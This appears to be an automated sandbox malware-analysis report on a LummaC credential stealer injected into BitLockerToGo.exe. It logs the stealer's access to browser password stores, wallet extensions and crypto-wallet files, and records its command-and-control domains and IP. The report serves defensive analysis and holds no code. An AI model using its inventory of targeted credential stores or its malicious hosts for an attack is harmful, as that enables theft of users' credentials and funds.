Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2227392089.0000000002885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2265630337.0000000002831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2238156888.0000000002885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2250362177.0000000002831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2279583257.000000000283E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 3800, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 3800, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
6xmBUtHylU.exe	42%	ReversingLabs	Win64.Trojan.Smokeloader
6xmBUtHylU.exe	30%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
citizencenturygoodwk.shop	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/api9(	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/ez	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/api=/	0%	Avira URL Cloud	safe
radiationnopp.shop	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/.	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/apiU6	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
https://login.microsoftonline.com/stream	0%	Avira URL Cloud	safe
publicitttyps.shop	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	Avira URL Cloud	safe
answerrsdo.shop	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop:443/api	100%	Avira URL Cloud	malware
citizencenturygoodwk.shop	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/apiX	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/apie6-	0%	Avira URL Cloud	safe
benchillppwo.shop	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/z	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/	0%	Avira URL Cloud	safe
https://management.core.chinacloudapi.cnFrame	0%	Avira URL Cloud	safe
bargainnykwo.shop	0%	Avira URL Cloud	safe
bouncedgowp.shop	0%	Avira URL Cloud	safe
https://management.chinacloudapi.cnCONTINUATION	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/api	100%	Avira URL Cloud	malware
https://citizencenturygoodwk.shop/4Y	0%	Avira URL Cloud	safe
bannngwko.shop	0%	Avira URL Cloud	safe
https://management.core.usgovcloudapi.nethttp2:	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop:443/apiK	0%	Avira URL Cloud	safe
https://management.azure.cominvalid	0%	Avira URL Cloud	safe
https://login.chinacloudapi.cn/http2:	0%	Avira URL Cloud	safe
affecthorsedpo.shop	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.all	0%	Avira URL Cloud	safe
https://citizencenturygoodwk.shop/apiP	0%	Avira URL Cloud	safe
https://www.mozilla.or	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
citizencenturygoodwk.shop	188.114.96.3	true	true	10%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
radiationnopp.shop	true	Avira URL Cloud: safe	unknown
publicitttyps.shop	true	Avira URL Cloud: safe	unknown
answerrsdo.shop	true	Avira URL Cloud: safe	unknown
citizencenturygoodwk.shop	true	Avira URL Cloud: safe	unknown
benchillppwo.shop	true	Avira URL Cloud: safe	unknown
bargainnykwo.shop	true	Avira URL Cloud: safe	unknown
bouncedgowp.shop	true	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/api	true	Avira URL Cloud: malware	unknown
bannngwko.shop	true	Avira URL Cloud: safe	unknown
affecthorsedpo.shop	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000003.00000003.2228157227.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/api=/	BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2300807361.000000000288C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/ez	BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000003.00000003.2228157227.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/api9(	BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000003.00000003.2252075967.0000000004A99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/.	BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000003.00000003.2228157227.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://citizencenturygoodwk.shop/apiU6	BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/stream	6xmBUtHylU.exe	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	BitLockerToGo.exe, 00000003.00000003.2252075967.0000000004A99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://citizencenturygoodwk.shop:443/api	BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002823000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://citizencenturygoodwk.shop/apiX	BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002871000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2227392089.0000000002871000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/apie6-	BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2300807361.000000000288C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/z	BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002884000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2328165604.000000000288C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279475230.0000000002886000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://management.core.chinacloudapi.cnFrame	6xmBUtHylU.exe	false	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/	BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2279134881.0000000002831000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://management.chinacloudapi.cnCONTINUATION	6xmBUtHylU.exe	false	Avira URL Cloud: safe	unknown
https://management.core.usgovcloudapi.nethttp2:	6xmBUtHylU.exe	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000003.00000003.2250701299.0000000004B0D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://citizencenturygoodwk.shop/4Y	BitLockerToGo.exe, 00000003.00000003.2265630337.0000000002885000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2250362177.0000000002885000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop:443/apiK	BitLockerToGo.exe, 00000003.00000002.2328165604.00000000027E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://management.azure.cominvalid	6xmBUtHylU.exe	false	Avira URL Cloud: safe	unknown
https://login.chinacloudapi.cn/http2:	6xmBUtHylU.exe	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000003.00000003.2251568251.0000000004D2C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://citizencenturygoodwk.shop/apiP	BitLockerToGo.exe, 00000003.00000003.2238156888.0000000002831000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.mozilla.or	BitLockerToGo.exe, 00000003.00000003.2251991909.0000000004AA7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	citizencenturygoodwk.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467945
Start date and time:	2024-07-05 06:02:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6xmBUtHylU.exe renamed because original name is a hash value
Original Sample Name:	b82c80a3ce9b5c44391d3f11307f8b8e.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 51% Number of executed functions: 28 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 6xmBUtHylU.exe, PID 6552 because there are no executed function
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:03:09	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	http://www.telegramkv.com/	Get hash	malicious	Unknown	Browse	www.telegramkv.com/
	Scan405.exe	Get hash	malicious	FormBook	Browse	www.jjjw.xyz/ypml/
	AuT5pFGTFw.exe	Get hash	malicious	FormBook	Browse	www.coinwab.com/efdt/
	http://business.ifbsmetaiidentiityconfirms.com/meta-community-standard100068928266341/	Get hash	malicious	HTMLPhisher	Browse	business.ifbsmetaiidentiityconfirms.com/favicon.ico
